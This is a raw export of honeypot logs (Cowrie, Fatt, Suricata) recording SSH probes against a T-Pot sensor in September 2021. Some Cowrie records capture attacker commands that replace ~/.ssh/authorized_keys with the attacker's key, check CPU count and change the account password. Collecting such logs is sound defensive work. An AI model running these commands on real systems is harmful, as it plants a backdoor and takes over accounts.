27821	27.69.246.93	109.199.241.180	Fatt	2021-09-20 14:15:44.22096+03	2021-09-20 14:30:01.963523+03	{"_id": "BgbrAnwBvYTbRNuEQSu2", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "src_ip": "27.69.246.93", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519-cert-v01@openssh.com,ssh-ed448-cert-v01@openssh.com,ecdsa-sha2-nistp521-cert-v01@openssh.com,ecdsa-sha2-nistp384-cert-v01@openssh.com,ecdsa-sha2-nistp256-cert-v01@openssh.com,ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com,ssh-rsa-cert-v01@openssh.com,ssh-dss-cert-v01@openssh.com,ssh-ed25519,ssh-ed448,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,ecdsa-sha2-1.3.132.0.10,rsa-sha2-256,rsa-sha2-512,ssh-rsa,ssh-dss", "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "ccacts": "zlib@openssh.com,zlib,none", "ccastc": "zlib@openssh.com,zlib,none", "ceacts": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "ceastc": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "client": "SSH-2.0-AsyncSSH_2.1.0", "cmacts": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "cmastc": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 43546, "dest_port": 22, "timestamp": "2021-09-20T11:15:44.220960", "@timestamp": "2021-09-20T11:15:44.220Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
27822	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:15:43.936871+03	2021-09-20 14:30:01.965524+03	{"_id": "BwbrAnwBvYTbRNuEQit7", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 27.69.246.93:43546 (192.168.176.2:22) [session: 3c9cd1baa8a8]", "session": "3c9cd1baa8a8", "@version": "1", "protocol": "ssh", "src_port": 43546, "dest_port": 22, "timestamp": "2021-09-20T11:15:43.936871Z", "@timestamp": "2021-09-20T11:15:43.936Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	\N	\N
27823	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:15:44.221684+03	2021-09-20 14:30:01.966525+03	{"_id": "DgbrAnwBvYTbRNuEQit9", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["chacha20-poly1305@openssh.com", "aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc", "blowfish-cbc", "cast128-cbc", "arcfour256", "arcfour128", "arcfour"], "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "macCS": ["umac-64-etm@openssh.com", "umac-128-etm@openssh.com", "hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-md5-etm@openssh.com", "hmac-sha2-256-96-etm@openssh.com", "hmac-sha2-512-96-etm@openssh.com", "hmac-sha1-96-etm@openssh.com", "hmac-md5-96-etm@openssh.com", "umac-64@openssh.com", "umac-128@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-md5", "hmac-sha2-256-96", "hmac-sha2-512-96", "hmac-sha1-96", "hmac-md5-96"], "compCS": ["zlib@openssh.com", "zlib", "none"], "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "curve448-sha512", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "ecdh-sha2-1.3.132.0.10", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha256", "diffie-hellman-group15-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group17-sha512", "diffie-hellman-group18-sha512", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "rsa2048-sha256", "rsa1024-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519-cert-v01@openssh.com", "ssh-ed448-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com", "ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ssh-ed25519", "ssh-ed448", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "ecdsa-sha2-1.3.132.0.10", "rsa-sha2-256", "rsa-sha2-512", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11", "session": "3c9cd1baa8a8", "@version": "1", "timestamp": "2021-09-20T11:15:44.221684Z", "@timestamp": "2021-09-20T11:15:44.221Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}}	1	\N	cowrie.client.kex	\N	\N	\N
27824	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:15:44.735099+03	2021-09-20 14:30:01.967523+03	{"_id": "DwbrAnwBvYTbRNuEQit9", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.session.closed", "message": "Connection lost after 4 seconds", "session": "751171bb91b1", "@version": "1", "duration": 4.2583301067352295, "timestamp": "2021-09-20T11:15:44.735099Z", "@timestamp": "2021-09-20T11:15:44.735Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	\N	\N
27825	116.98.160.162	109.199.241.180	Suricata	2021-09-20 14:15:45.208657+03	2021-09-20 14:30:01.969523+03	{"_id": "EAbrAnwBvYTbRNuERCtZ", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "116.98.160.162", "dest_ip": "192.168.20.116", "flow_id": 587761667079327, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_client_banner"]}, "src_port": 59498, "dest_port": 22, "timestamp": "2021-09-20T11:15:45.208657Z", "@timestamp": "2021-09-20T11:15:45.208Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	known attacker	\N
27826	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:15:45.208725+03	2021-09-20 14:30:01.970524+03	{"_id": "EQbrAnwBvYTbRNuERSuf", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "116.98.160.162", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 59498, "timestamp": "2021-09-20T11:15:45.208725", "@timestamp": "2021-09-20T11:15:45.208Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
27827	81.71.17.12	109.199.241.180	Cowrie	2021-09-20 14:15:45.208274+03	2021-09-20 14:30:01.971524+03	{"_id": "EwbrAnwBvYTbRNuERitm", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"arch": "linux-powerpc64-msb", "host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "81.71.17.12", "asn": 5390, "as_org": "Euronet Communications B.V.", "latitude": 39.9289, "location": {"lat": 39.9289, "lon": 116.3883}, "timezone": "Asia/Shanghai", "longitude": 116.3883, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "81.71.17.12", "eventid": "cowrie.session.params", "message": [], "session": "10e67aad7ad1", "@version": "1", "timestamp": "2021-09-20T11:15:45.208274Z", "@timestamp": "2021-09-20T11:15:45.208Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.params	\N	known attacker	\N
27828	81.71.17.12	109.199.241.180	Cowrie	2021-09-20 14:15:45.208823+03	2021-09-20 14:30:01.972523+03	{"_id": "FwbrAnwBvYTbRNuERitm", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "81.71.17.12", "asn": 5390, "as_org": "Euronet Communications B.V.", "latitude": 39.9289, "location": {"lat": 39.9289, "lon": 116.3883}, "timezone": "Asia/Shanghai", "longitude": 116.3883, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "input": "cd ~ && rm -rf .ssh && mkdir .ssh && echo \\"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "81.71.17.12", "eventid": "cowrie.command.input", "message": "CMD: cd ~ && rm -rf .ssh && mkdir .ssh && echo \\"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~", "session": "10e67aad7ad1", "@version": "1", "timestamp": "2021-09-20T11:15:45.208823Z", "@timestamp": "2021-09-20T11:15:45.208Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	\N
27829	115.72.130.93	109.199.241.180	Cowrie	2021-09-20 14:15:45.351885+03	2021-09-20 14:30:01.974524+03	{"_id": "GAbrAnwBvYTbRNuERitm", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "115.72.130.93", "eventid": "cowrie.session.closed", "message": "Connection lost after 7 seconds", "session": "6a5af56f9fad", "@version": "1", "duration": 7.0876874923706055, "timestamp": "2021-09-20T11:15:45.351885Z", "@timestamp": "2021-09-20T11:15:45.351Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	\N	\N
27830	81.71.17.12	109.199.241.180	Cowrie	2021-09-20 14:15:46.181623+03	2021-09-20 14:30:01.975524+03	{"_id": "IgbrAnwBvYTbRNuESitO", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "81.71.17.12", "asn": 5390, "as_org": "Euronet Communications B.V.", "latitude": 39.9289, "location": {"lat": 39.9289, "lon": 116.3883}, "timezone": "Asia/Shanghai", "longitude": 116.3883, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "input": "cat /proc/cpuinfo | grep name | wc -l", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "81.71.17.12", "eventid": "cowrie.command.input", "message": "CMD: cat /proc/cpuinfo | grep name | wc -l", "session": "10e67aad7ad1", "@version": "1", "timestamp": "2021-09-20T11:15:46.181623Z", "@timestamp": "2021-09-20T11:15:46.181Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	\N
27836	81.71.17.12	109.199.241.180	Cowrie	2021-09-20 14:15:47.155895+03	2021-09-20 14:30:01.983524+03	{"_id": "OQbrAnwBvYTbRNuETis4", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "81.71.17.12", "asn": 5390, "as_org": "Euronet Communications B.V.", "latitude": 39.9289, "location": {"lat": 39.9289, "lon": 116.3883}, "timezone": "Asia/Shanghai", "longitude": 116.3883, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "input": "echo -e \\"123456\\\\nYBAwxb6g8Njt\\\\nYBAwxb6g8Njt\\"|passwd|bash", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "81.71.17.12", "eventid": "cowrie.command.input", "message": "CMD: echo -e \\"123456\\\\nYBAwxb6g8Njt\\\\nYBAwxb6g8Njt\\"|passwd|bash", "session": "10e67aad7ad1", "@version": "1", "timestamp": "2021-09-20T11:15:47.155895Z", "@timestamp": "2021-09-20T11:15:47.155Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	\N
27831	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:15:46.711492+03	2021-09-20 14:30:01.976524+03	{"_id": "JwbrAnwBvYTbRNuESitO", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["chacha20-poly1305@openssh.com", "aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc", "blowfish-cbc", "cast128-cbc", "arcfour256", "arcfour128", "arcfour"], "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "macCS": ["umac-64-etm@openssh.com", "umac-128-etm@openssh.com", "hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-md5-etm@openssh.com", "hmac-sha2-256-96-etm@openssh.com", "hmac-sha2-512-96-etm@openssh.com", "hmac-sha1-96-etm@openssh.com", "hmac-md5-96-etm@openssh.com", "umac-64@openssh.com", "umac-128@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-md5", "hmac-sha2-256-96", "hmac-sha2-512-96", "hmac-sha1-96", "hmac-md5-96"], "compCS": ["zlib@openssh.com", "zlib", "none"], "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "curve448-sha512", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "ecdh-sha2-1.3.132.0.10", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha256", "diffie-hellman-group15-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group17-sha512", "diffie-hellman-group18-sha512", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "rsa2048-sha256", "rsa1024-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519-cert-v01@openssh.com", "ssh-ed448-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com", "ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ssh-ed25519", "ssh-ed448", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "ecdsa-sha2-1.3.132.0.10", "rsa-sha2-256", "rsa-sha2-512", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11", "session": "e452297a139f", "@version": "1", "timestamp": "2021-09-20T11:15:46.711492Z", "@timestamp": "2021-09-20T11:15:46.711Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}}	1	\N	cowrie.client.kex	\N	\N	\N
